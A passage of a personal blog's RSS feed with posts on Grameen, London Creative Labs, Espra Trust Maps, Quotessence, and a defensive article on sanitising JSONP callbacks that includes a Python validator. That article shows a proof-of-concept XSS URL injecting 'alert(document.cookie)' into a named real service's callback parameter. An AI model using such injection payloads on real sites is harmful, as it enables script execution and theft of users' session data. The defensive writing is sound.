holistic approach of their elders, but that's something that only time can tell.
And the same goes for the various multinational Social Business partnerships
they've been setting up, e.g. <a class="reference external" href="http://blogs.intel.com/csr/2008/05/intel_and_grameen_joint_ventur.php">Grameen Intel</a>.</p>
<p>In the meantime, I'd strongly encourage everyone to spend a few days over at
Grameen HQ in Dhaka. Hidden beneath the seemingly dull office spaces, there are
a lot of valuable lessons to learn there.</p>
<p>And, finally, as for the man himself, I am still in awe of just how genuinely
humble <a class="reference external" href="http://en.wikipedia.org/wiki/Muhammad_Yunus">Yunus</a> is. Despite the
non-stop demands on his time, he persists in making life better for others &mdash;
without letting facts like being a Nobel laureate and running a multi-billion
dollar conglomerate go to his head.</p>
<p>I strongly encourage you to visit Dhaka &mdash; and if not, at least read <a class="reference external" href="http://www.amazon.com/Creating-World-Without-Poverty-Capitalism/dp/1586484931">the book</a>.</p><img src="http://feeds.feedburner.com/~r/asktav/~4/uuMfV2nE-0w" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/inside-grameen-with-a-nobel-prize-winner.html</feedburner:origLink></item><item>
    <title>London Creative Labs</title>
    <guid isPermaLink="false">http://tav.espians.com/london-creative-labs.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/WaDQsbPFO1Q/london-creative-labs.html</link>
    <pubDate>Tue, 01 Sep 2009 14:04:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I am pleased to announce the launch of <a class="reference external" href="http://londoncreativelabs.com/">London Creative Labs</a>! Check out the short video below on its first
program, which ties together systemic change along with a sort of <a class="reference external" href="http://ycombinator.com/">Y Combinator</a> for <a class="reference external" href="http://en.wikipedia.org/wiki/Social_business">Social Business</a> Startups.</p>
<div class="center">
<object width="425" height="344"><param name="movie"
value="http://www.youtube.com/v/weSM2-1IpqQ&amp;hl=en&amp;fs=1&amp;"></param><param
name="allowFullScreen" value="true"></param><param name="allowscriptaccess"
value="always"></param><embed
src="http://www.youtube.com/v/weSM2-1IpqQ&amp;hl=en&amp;fs=1&amp;"
type="application/x-shockwave-flash" allowscriptaccess="always"
allowfullscreen="true" width="425" height="344"></embed></object>
</div><p>It's also one of those moments when you are super super proud of your
girlfriend! <a class="reference external" href="http://sofiabustamante.com/">Sofia</a>, the founder of London
Creative Labs, is an amazing systems thinker with a deep focus on &ldquo;soft&rdquo;
technologies.</p>
<p>However, until now, she has rarely shared her vision in a way that's accessible
for most people. But with London Creative Labs, not only has she setup a very
cool project, but the communications about it are brilliant!</p>
<p>I'm very proud of my sexy girl.</p>
<ul class="simple">
<li>Check out <a class="reference external" href="http://londoncreativelabs.com/">London Creative Labs</a></li>
<li>Join the <a class="reference external" href="http://www.facebook.com/pages/London-Creative-Labs/123318388217">Facebook Page</a>!</li>
</ul><img src="http://feeds.feedburner.com/~r/asktav/~4/WaDQsbPFO1Q" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/nB0jObw-IcE/weSM2-1IpqQ&amp;amp;hl=en&amp;amp;fs=1&amp;amp;" fileSize="957" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://tav.espians.com/london-creative-labs.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/nB0jObw-IcE/weSM2-1IpqQ&amp;amp;hl=en&amp;amp;fs=1&amp;amp;" length="957" type="application/x-shockwave-flash" /><feedburner:origEnclosureLink>http://www.youtube.com/v/weSM2-1IpqQ&amp;amp;hl=en&amp;amp;fs=1&amp;amp;</feedburner:origEnclosureLink></item><item>
    <title>Sanitising JSONP Callback Identifiers For Security</title>
    <guid isPermaLink="false">http://tav.espians.com/sanitising-jsonp-callback-identifiers-for-security.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/Jqi1rK2iWoM/sanitising-jsonp-callback-identifiers-for-security.html</link>
    <pubDate>Mon, 31 Aug 2009 20:03:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p class="intro-box">Code: <a class="reference external" href="http://github.com/tav/scripts/blob/master/validate_jsonp.py">http://github.com/tav/scripts/blob/master/validate_jsonp.py</a></p>
<p>Whilst web developers have started to take <a class="reference external" href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a> and <a class="reference external" href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">CSRF</a> seriously, a tiny
detail often goes unnoticed &mdash; JSONP callback values.</p>
<p>The idea behind <a class="reference external" href="http://en.wikipedia.org/wiki/JSON#JSONP">JSONP</a> is to allow
for composable client-side apps by allowing for <a class="reference external" href="http://bob.pythonmac.org/archives/2005/12/05/remote-json-jsonp/">cross-domain data fetching</a>. It's a
brilliantly simple idea and the <tt class="docutils literal">callback</tt> parameter is used to specify the
name of a callback function.</p>
<p>For example, FriendFeed would return the following when you supply it's APIs
with a <tt class="docutils literal">callback=handleFriendFeedData</tt> parameter:</p>
<pre class="literal-block">
handleFriendFeedData({..JSON-Data...})
</pre>
<p>Unfortunately, most services will also pass through pretty much anything &mdash;
allowing attackers to inject malicious Javascript, e.g.</p>
<ul class="simple">
<li><a class="reference external" href="http://friendfeed.com/api/feed/public?callback=alert%28document.cookie%29%3Bfoo">http://friendfeed.com/api/feed/public?callback=alert%28document.cookie%29%3Bfoo</a></li>
</ul>
<p>This would allow for arbitrary Javascript to be executed in the context of the
<em>caller site</em>. So, what's the big deal you ask? Surely you only make JSONP calls
to sites that you trust?</p>
<p>Well, imagine a client-side web application which allows arbitrary data sources
to be added. It's not too implausible a future where instead of adding RSS feeds
to an RSS Reader, one adds JSON feeds to such an application&#8230;</p>
<p>In this context, if the user is tricked into adding a maliciously crafted URL,
then everything from their identity to their data is accessible &mdash; not to
mention being able to abuse the account to spread a worm even!</p>
<p>I believe the possibilities of using JSONP haven't been explored much yet, and
for it to go further in the context of interesting mashups/applications, it's
important that it not be a security hole.</p>
<p>And, combined with other vulnerabilities, the seemingly innocuous callback value
could have devastating effects!</p>
<p>My apologies for picking on FriendFeed &mdash; it could've just as well have been a
thousand other services. As for the few sites that do restrict the callback
value, one is often left wondering if the developers knew what they were doing.</p>
<p>For example, <a class="reference external" href="http://delicious.com">delicious</a> restricts it to the character
set <tt class="docutils literal"><span class="pre">0-9</span> <span class="pre">a-z</span> <span class="pre">A-Z</span> <span class="pre">()[],._-+=/|\~?!#$^*:</span> '&quot;</tt>. But, besides being totally
arbitrary and insecure, it disallows perfectly valid characters in Javascript
identifiers such as Unicode letters.</p>
<p>So, failing to find any decent JSONP callback sanitisation code out there, I
ended up writing one myself:</p>
<ul class="simple">
<li><a class="reference external" href="http://github.com/tav/scripts/blob/master/validate_jsonp.py">http://github.com/tav/scripts/blob/master/validate_jsonp.py</a></li>
</ul>
<p>It accepts callback values of the following formats:</p>
<ul class="simple">
<li>A valid Javascript Identifier: <tt class="docutils literal">&lt;identifier&gt;</tt></li>
<li>Dot notation: <tt class="docutils literal"><span class="pre">&lt;identifier&gt;.&lt;identifier&gt;</span></tt></li>
<li>Array index lookup: <tt class="docutils literal"><span class="pre">&lt;identifier&gt;[&lt;integer&gt;]</span></tt></li>
</ul>
<p>Here are some examples:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">is_valid_jsonp_callback_value</span><span class="p">(</span><span class="s">&#39;somefunction&#39;</span><span class="p">)</span><br/><span class="go">True</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">is_valid_jsonp_callback_value</span><span class="p">(</span><span class="s">&#39;someobject.somemethod&#39;</span><span class="p">)</span><br/><span class="go">True</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">is_valid_jsonp_callback_value</span><span class="p">(</span><span class="s">&#39;somearray[12345]&#39;</span><span class="p">)</span><br/><span class="go">True</span><br/></pre></div>
<p>It accepts all valid Javascript identifiers as defined in the ECMAScript
specification:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">is_valid_jsonp_callback_value</span><span class="p">(</span><span class="s">u&#39;Stra</span><span class="se">\u00df</span><span class="s">e&#39;</span><span class="p">)</span><br/><span class="go">True</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">is_valid_jsonp_callback_value</span><span class="p">(</span><span class="s">r&#39;\u0062oo&#39;</span><span class="p">)</span><br/><span class="go">True</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">is_valid_jsonp_callback_value</span><span class="p">(</span><span class="s">&#39;$42.ajaxHandler&#39;</span><span class="p">)</span><br/><span class="go">True</span><br/></pre></div>
<p>But disallows everything else:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">is_valid_jsonp_callback_value</span><span class="p">(</span><span class="s">&#39;alert(document.cookie)&#39;</span><span class="p">)</span><br/><span class="go">False</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">is_valid_jsonp_callback_value</span><span class="p">(</span><span class="s">r&#39;\u0020&#39;</span><span class="p">)</span><br/><span class="go">False</span><br/></pre></div>
<p>Here's the current source code &mdash; which, as usual, I've placed into the <a class="reference external" href="http://creativecommons.org/publicdomain/zero/1.0/">public
domain</a>. Let me know if you
find it useful or would like to make any changes. Thanks!</p>
<div class="syntax python"><pre><span class="c"># -*- coding: utf-8 -*-</span><br/><br/><span class="c"># Placed into the Public Domain by tav &lt;tav@espians.com&gt;</span><br/><br/><span class="sd">&quot;&quot;&quot;Validate Javascript Identifiers for use as JSON-P callback parameters.&quot;&quot;&quot;</span><br/><br/><span class="kn">import</span> <span class="nn">re</span><br/><br/><span class="kn">from</span> <span class="nn">unicodedata</span> <span class="kn">import</span> <span class="n">category</span><br/><br/><span class="c"># ------------------------------------------------------------------------------</span><br/><span class="c"># javascript identifier unicode categories and &quot;exceptional&quot; chars</span><br/><span class="c"># ------------------------------------------------------------------------------</span><br/><br/><span class="n">valid_jsid_categories_start</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><br/>    <span class="s">&#39;Lu&#39;</span><span class="p">,</span> <span class="s">&#39;Ll&#39;</span><span class="p">,</span> <span class="s">&#39;Lt&#39;</span><span class="p">,</span> <span class="s">&#39;Lm&#39;</span><span class="p">,</span> <span class="s">&#39;Lo&#39;</span><span class="p">,</span> <span class="s">&#39;Nl&#39;</span><br/>    <span class="p">])</span><br/><br/><span class="n">valid_jsid_categories</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><br/>    <span class="s">&#39;Lu&#39;</span><span class="p">,</span> <span class="s">&#39;Ll&#39;</span><span class="p">,</span> <span class="s">&#39;Lt&#39;</span><span class="p">,</span> <span class="s">&#39;Lm&#39;</span><span class="p">,</span> <span class="s">&#39;Lo&#39;</span><span class="p">,</span> <span class="s">&#39;Nl&#39;</span><span class="p">,</span> <span class="s">&#39;Mn&#39;</span><span class="p">,</span> <span class="s">&#39;Mc&#39;</span><span class="p">,</span> <span class="s">&#39;Nd&#39;</span><span class="p">,</span> <span class="s">&#39;Pc&#39;</span><br/>    <span class="p">])</span><br/><br/><span class="n">valid_jsid_chars</span> <span class="o">=</span> <span class="p">(</span><span class="s">&#39;$&#39;</span><span class="p">,</span> <span class="s">&#39;_&#39;</span><span class="p">)</span><br/><br/><span class="c"># ------------------------------------------------------------------------------</span><br/><span class="c"># regex to find array[index] patterns</span><br/><span class="c"># ------------------------------------------------------------------------------</span><br/><br/><span class="n">array_index_regex</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="s">r&#39;\[[0-9]+\]$&#39;</span><span class="p">)</span><br/><br/><span class="n">has_valid_array_index</span> <span class="o">=</span> <span class="n">array_index_regex</span><span class="o">.</span><span class="n">search</span><br/><span class="n">replace_array_index</span> <span class="o">=</span> <span class="n">array_index_regex</span><span class="o">.</span><span class="n">sub</span><br/><br/><span class="c"># ------------------------------------------------------------------------------</span><br/><span class="c"># javascript reserved words -- including keywords and null/boolean literals</span><br/><span class="c"># ------------------------------------------------------------------------------</span><br/><br/><span class="n">is_reserved_js_word</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><br/><br/>    <span class="s">&#39;abstract&#39;</span><span class="p">,</span> <span class="s">&#39;boolean&#39;</span><span class="p">,</span> <span class="s">&#39;break&#39;</span><span class="p">,</span> <span class="s">&#39;byte&#39;</span><span class="p">,</span> <span class="s">&#39;case&#39;</span><span class="p">,</span> <span class="s">&#39;catch&#39;</span><span class="p">,</span> <span class="s">&#39;char&#39;</span><span class="p">,</span> <span class="s">&#39;class&#39;</span><span class="p">,</span><br/>    <span class="s">&#39;const&#39;</span><span class="p">,</span> <span class="s">&#39;continue&#39;</span><span class="p">,</span> <span class="s">&#39;debugger&#39;</span><span class="p">,</span> <span class="s">&#39;default&#39;</span><span class="p">,</span> <span class="s">&#39;delete&#39;</span><span class="p">,</span> <span class="s">&#39;do&#39;</span><span class="p">,</span> <span class="s">&#39;double&#39;</span><span class="p">,</span><br/>    <span class="s">&#39;else&#39;</span><span class="p">,</span> <span class="s">&#39;enum&#39;</span><span class="p">,</span> <span class="s">&#39;export&#39;</span><span class="p">,</span> <span class="s">&#39;extends&#39;</span><span class="p">,</span> <span class="s">&#39;false&#39;</span><span class="p">,</span> <span class="s">&#39;final&#39;</span><span class="p">,</span> <span class="s">&#39;finally&#39;</span><span class="p">,</span> <span class="s">&#39;float&#39;</span><span class="p">,</span><br/>    <span class="s">&#39;for&#39;</span><span class="p">,</span> <span class="s">&#39;function&#39;</span><span class="p">,</span> <span class="s">&#39;goto&#39;</span><span class="p">,</span> <span class="s">&#39;if&#39;</span><span class="p">,</span> <span class="s">&#39;implements&#39;</span><span class="p">,</span> <span class="s">&#39;import&#39;</span><span class="p">,</span> <span class="s">&#39;in&#39;</span><span class="p">,</span> <span class="s">&#39;instanceof&#39;</span><span class="p">,</span><br/>    <span class="s">&#39;int&#39;</span><span class="p">,</span> <span class="s">&#39;interface&#39;</span><span class="p">,</span> <span class="s">&#39;long&#39;</span><span class="p">,</span> <span class="s">&#39;native&#39;</span><span class="p">,</span> <span class="s">&#39;new&#39;</span><span class="p">,</span> <span class="s">&#39;null&#39;</span><span class="p">,</span> <span class="s">&#39;package&#39;</span><span class="p">,</span> <span class="s">&#39;private&#39;</span><span class="p">,</span><br/>    <span class="s">&#39;protected&#39;</span><span class="p">,</span> <span class="s">&#39;public&#39;</span><span class="p">,</span> <span class="s">&#39;return&#39;</span><span class="p">,</span> <span class="s">&#39;short&#39;</span><span class="p">,</span> <span class="s">&#39;static&#39;</span><span class="p">,</span> <span class="s">&#39;super&#39;</span><span class="p">,</span> <span class="s">&#39;switch&#39;</span><span class="p">,</span><br/>    <span class="s">&#39;synchronized&#39;</span><span class="p">,</span> <span class="s">&#39;this&#39;</span><span class="p">,</span> <span class="s">&#39;throw&#39;</span><span class="p">,</span> <span class="s">&#39;throws&#39;</span><span class="p">,</span> <span class="s">&#39;transient&#39;</span><span class="p">,</span> <span class="s">&#39;true&#39;</span><span class="p">,</span> <span class="s">&#39;try&#39;</span><span class="p">,</span><br/>    <span class="s">&#39;typeof&#39;</span><span class="p">,</span> <span class="s">&#39;var&#39;</span><span class="p">,</span> <span class="s">&#39;void&#39;</span><span class="p">,</span> <span class="s">&#39;volatile&#39;</span><span class="p">,</span> <span class="s">&#39;while&#39;</span><span class="p">,</span> <span class="s">&#39;with&#39;</span><span class="p">,</span><br/><br/>    <span class="c"># potentially reserved in a future version of the ES5 standard</span><br/>    <span class="c"># &#39;let&#39;, &#39;yield&#39;</span><br/><br/>    <span class="p">])</span><span class="o">.</span><span class="n">__contains__</span><br/><br/><span class="c"># ------------------------------------------------------------------------------</span><br/><span class="c"># the core validation functions</span><br/><span class="c"># ------------------------------------------------------------------------------</span><br/><br/><span class="k">def</span> <span class="nf">is_valid_javascript_identifier</span><span class="p">(</span><span class="n">identifier</span><span class="p">,</span> <span class="n">escape</span><span class="o">=</span><span class="s">r&#39;\u&#39;</span><span class="p">,</span> <span class="n">ucd_cat</span><span class="o">=</span><span class="n">category</span><span class="p">):</span><br/>    <span class="sd">&quot;&quot;&quot;Return whether the given ``id`` is a valid Javascript identifier.&quot;&quot;&quot;</span><br/><br/>    <span class="k">if</span> <span class="ow">not</span> <span class="n">identifier</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="bp">False</span><br/><br/>    <span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">identifier</span><span class="p">,</span> <span class="nb">unicode</span><span class="p">):</span><br/>        <span class="k">try</span><span class="p">:</span><br/>            <span class="n">identifier</span> <span class="o">=</span> <span class="nb">unicode</span><span class="p">(</span><span class="n">identifier</span><span class="p">,</span> <span class="s">&#39;utf-8&#39;</span><span class="p">)</span><br/>        <span class="k">except</span> <span class="ne">UnicodeDecodeError</span><span class="p">:</span><br/>            <span class="k">return</span> <span class="bp">False</span><br/><br/>    <span class="k">if</span> <span class="n">escape</span> <span class="ow">in</span> <span class="n">identifier</span><span class="p">:</span><br/><br/>        <span class="n">new</span> <span class="o">=</span> <span class="p">[];</span> <span class="n">add_char</span> <span class="o">=</span> <span class="n">new</span><span class="o">.</span><span class="n">append</span><br/>        <span class="n">split_id</span> <span class="o">=</span> <span class="n">identifier</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">escape</span><span class="p">)</span><br/>        <span class="n">add_char</span><span class="p">(</span><span class="n">split_id</span><span class="o">.</span><span class="n">pop</span><span class="p">(</span><span class="mi">0</span><span class="p">))</span><br/><br/>        <span class="k">for</span> <span class="n">segment</span> <span class="ow">in</span> <span class="n">split_id</span><span class="p">:</span><br/>            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">segment</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">:</span><br/>                <span class="k">return</span> <span class="bp">False</span><br/>            <span class="k">try</span><span class="p">:</span><br/>                <span class="n">add_char</span><span class="p">(</span><span class="nb">unichr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="s">&#39;0x&#39;</span> <span class="o">+</span> <span class="n">segment</span><span class="p">[:</span><span class="mi">4</span><span class="p">],</span> <span class="mi">16</span><span class="p">)))</span><br/>            <span class="k">except</span> <span class="ne">Exception</span><span class="p">:</span><br/>                <span class="k">return</span> <span class="bp">False</span><br/>            <span class="n">add_char</span><span class="p">(</span><span class="n">segment</span><span class="p">[</span><span class="mi">4</span><span class="p">:])</span><br/><br/>        <span class="n">identifier</span> <span class="o">=</span> <span class="s">u&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">new</span><span class="p">)</span><br/><br/>    <span class="k">if</span> <span class="n">is_reserved_js_word</span><span class="p">(</span><span class="n">identifier</span><span class="p">):</span><br/>        <span class="k">return</span> <span class="bp">False</span><br/><br/>    <span class="n">first_char</span> <span class="o">=</span> <span class="n">identifier</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><br/><br/>    <span class="k">if</span> <span class="ow">not</span> <span class="p">((</span><span class="n">first_char</span> <span class="ow">in</span> <span class="n">valid_jsid_chars</span><span class="p">)</span> <span class="ow">or</span><br/>            <span class="p">(</span><span class="n">ucd_cat</span><span class="p">(</span><span class="n">first_char</span><span class="p">)</span> <span class="ow">in</span> <span class="n">valid_jsid_categories_start</span><span class="p">)):</span><br/>        <span class="k">return</span> <span class="bp">False</span><br/><br/>    <span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">identifier</span><span class="p">[</span><span class="mi">1</span><span class="p">:]:</span><br/>        <span class="k">if</span> <span class="ow">not</span> <span class="p">((</span><span class="n">char</span> <span class="ow">in</span> <span class="n">valid_jsid_chars</span><span class="p">)</span> <span class="ow">or</span><br/>                <span class="p">(</span><span class="n">ucd_cat</span><span class="p">(</span><span class="n">char</span><span class="p">)</span> <span class="ow">in</span> <span class="n">valid_jsid_categories</span><span class="p">)):</span><br/>            <span class="k">return</span> <span class="bp">False</span><br/><br/>    <span class="k">return</span> <span class="bp">True</span><br/><br/><br/><span class="k">def</span> <span class="nf">is_valid_jsonp_callback_value</span><span class="p">(</span><span class="n">value</span><span class="p">):</span><br/>    <span class="sd">&quot;&quot;&quot;Return whether the given ``value`` can be used as a JSON-P callback.&quot;&quot;&quot;</span><br/><br/>    <span class="k">for</span> <span class="n">identifier</span> <span class="ow">in</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">u&#39;.&#39;</span><span class="p">):</span><br/>        <span class="k">while</span> <span class="s">&#39;[&#39;</span> <span class="ow">in</span> <span class="n">identifier</span><span class="p">:</span><br/>            <span class="k">if</span> <span class="ow">not</span> <span class="n">has_valid_array_index</span><span class="p">(</span><span class="n">identifier</span><span class="p">):</span><br/>                <span class="k">return</span> <span class="bp">False</span><br/>            <span class="n">identifier</span> <span class="o">=</span> <span class="n">replace_array_index</span><span class="p">(</span><span class="s">u&#39;&#39;</span><span class="p">,</span> <span class="n">identifier</span><span class="p">)</span><br/>        <span class="k">if</span> <span class="ow">not</span> <span class="n">is_valid_javascript_identifier</span><span class="p">(</span><span class="n">identifier</span><span class="p">):</span><br/>            <span class="k">return</span> <span class="bp">False</span><br/><br/>    <span class="k">return</span> <span class="bp">True</span><br/><br/><span class="c"># ------------------------------------------------------------------------------</span><br/><span class="c"># test</span><br/><span class="c"># ------------------------------------------------------------------------------</span><br/><br/><span class="k">def</span> <span class="nf">test</span><span class="p">():</span><br/>    <span class="sd">&quot;&quot;&quot;</span><br/><span class="sd">    The function ``is_valid_javascript_identifier`` validates a given identifier</span><br/><span class="sd">    according to the latest draft of the ECMAScript 5 Specification:</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(&#39;hello&#39;)</span><br/><span class="sd">      True</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(&#39;alert()&#39;)</span><br/><span class="sd">      False</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(&#39;a-b&#39;)</span><br/><span class="sd">      False</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(&#39;23foo&#39;)</span><br/><span class="sd">      False</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(&#39;foo23&#39;)</span><br/><span class="sd">      True</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(&#39;$210&#39;)</span><br/><span class="sd">      True</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(u&#39;Stra\u00dfe&#39;)</span><br/><span class="sd">      True</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(r&#39;\u0062&#39;) # u&#39;b&#39;</span><br/><span class="sd">      True</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(r&#39;\u62&#39;)</span><br/><span class="sd">      False</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(r&#39;\u0020&#39;)</span><br/><span class="sd">      False</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(&#39;_bar&#39;)</span><br/><span class="sd">      True</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(&#39;some_var&#39;)</span><br/><span class="sd">      True</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_javascript_identifier(&#39;$&#39;)</span><br/><span class="sd">      True</span><br/><br/><span class="sd">    But ``is_valid_jsonp_callback_value`` is the function you want to use for</span><br/><span class="sd">    validating JSON-P callback parameter values:</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_jsonp_callback_value(&#39;somevar&#39;)</span><br/><span class="sd">      True</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_jsonp_callback_value(&#39;function&#39;)</span><br/><span class="sd">      False</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_jsonp_callback_value(&#39; somevar&#39;)</span><br/><span class="sd">      False</span><br/><br/><span class="sd">    It supports the possibility of &#39;.&#39; being present in the callback name, e.g.</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_jsonp_callback_value(&#39;$.ajaxHandler&#39;)</span><br/><span class="sd">      True</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_jsonp_callback_value(&#39;$.23&#39;)</span><br/><span class="sd">      False</span><br/><br/><span class="sd">    As well as the pattern of providing an array index lookup, e.g.</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_jsonp_callback_value(&#39;array_of_functions[42]&#39;)</span><br/><span class="sd">      True</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_jsonp_callback_value(&#39;array_of_functions[42][1]&#39;)</span><br/><span class="sd">      True</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_jsonp_callback_value(&#39;$.ajaxHandler[42][1].foo&#39;)</span><br/><span class="sd">      True</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_jsonp_callback_value(&#39;array_of_functions[42]foo[1]&#39;)</span><br/><span class="sd">      False</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_jsonp_callback_value(&#39;array_of_functions[]&#39;)</span><br/><span class="sd">      False</span><br/><br/><span class="sd">      &gt;&gt;&gt; is_valid_jsonp_callback_value(&#39;array_of_functions[&quot;key&quot;]&#39;)</span><br/><span class="sd">      False</span><br/><br/><span class="sd">    Enjoy!</span><br/><br/><span class="sd">    &quot;&quot;&quot;</span><br/><br/><span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">&#39;__main__&#39;</span><span class="p">:</span><br/>    <span class="kn">import</span> <span class="nn">doctest</span><br/>    <span class="n">doctest</span><span class="o">.</span><span class="n">testmod</span><span class="p">()</span><br/></pre></div>
<p>You can clone the latest version from my <a class="reference external" href="http://github.com/tav/scripts/blob/master/validate_jsonp.py">scripts repository</a> at GitHub:</p>
<pre class="literal-block">
git clone git://github.com/tav/scripts.git
</pre>
<p>Feel free to also port it into other programming languages.</p>
<p>Enjoy and let me know what you think, thanks!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/Jqi1rK2iWoM" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/sanitising-jsonp-callback-identifiers-for-security.html</feedburner:origLink></item><item>
    <title>Espra Trust Maps: Coming Soon!</title>
    <guid isPermaLink="false">http://tav.espians.com/espra-trust-maps-coming-soon.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/LHNBZFRSf6U/espra-trust-maps-coming-soon.html</link>
    <pubDate>Sun, 30 Aug 2009 07:21:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>My apologies to the thousand-odd readers of this blog for not writing recently.
I've been busy working with a great group of individuals on <a class="reference external" href="http://www.espians.com/iteration-x.html">Iteration X</a>.</p>
<p>There's not much public yet, but I am very happy to let you know that the first
part of it, <a class="reference external" href="http://www.trustmap.org">Espra Trust Maps</a>, will be landing in
the next few weeks &mdash; I hope you'll like it!</p>
<div class="center">
<a href="http://www.trustmap.org"><img src="http://cloud.github.com/downloads/tav/plexnet/gfx.trustmap-sneak-peek.png"
     width="566px"
     height="478px" /></a>
</div><p>If you'd like to know about all the other cool developments that have been
happening, see the Iteration X <a class="reference external" href="http://www.espians.com/iteration-x-progress-summary.html">Progress Summary</a> article. Some
highlights include:</p>
<ul class="simple">
<li>An initial implementation of the <a class="reference external" href="http://inamidst.com/stuff/esp/plexdata">Plexnet data</a> model. [<a class="reference external" href="http://github.com/tav/plexnet/blob/master/source/plexnet/core/data.py">code</a>]</li>
<li>A webkit bridge that binds together our PyPy interpreter with WebKit! Python
in your web browser babeh! [<a class="reference external" href="http://github.com/tav/plexnet/tree/master/source/client/webkit_bridge">code</a>]</li>
</ul>
<p>I've also been writing some articles on the new <a class="reference external" href="http://www.espians.com">Espians</a> website. Some of you might find the following
interesting:</p>
<ul class="simple">
<li><a class="reference external" href="http://www.espians.com/getting-started-with-git.html">Getting started with Git</a></li>
<li><a class="reference external" href="http://www.espians.com/why-app-engine-is-not-appropriate-for-bootstrap.html">Why App Engine is not appropriate for Bootstrap</a></li>
</ul>
<p>And, oh, the amazing <a class="reference external" href="http://www.rheingold.com/">Howard Rheingold</a> joined our
<a class="reference external" href="http://www.espians.com/board-of-mentors.html">Board of Mentors</a>!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/LHNBZFRSf6U" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/espra-trust-maps-coming-soon.html</feedburner:origLink></item><item>
    <title>Quotessence</title>
    <guid isPermaLink="false">http://tav.espians.com/quotessence.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/pLWdhI5aRu8/quotessence.html</link>
    <pubDate>Mon, 16 Mar 2009 06:40:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I'm pleased to announce the initial launch of Mamading Ceesay's <a class="reference external" href="http://quotessence.agoraworx.com">Quotessence</a>. Check it out!</p>
<div class="float-right"><a href="http://quotessence.agoraworx.com"><img
  src="gfx/quotessence.png"
  alt="Quotessence Logo" /></a>
</div><p>As someone who loved readings quotations as a kid, I was super excited when
Mamading told me about his idea a few days ago.</p>
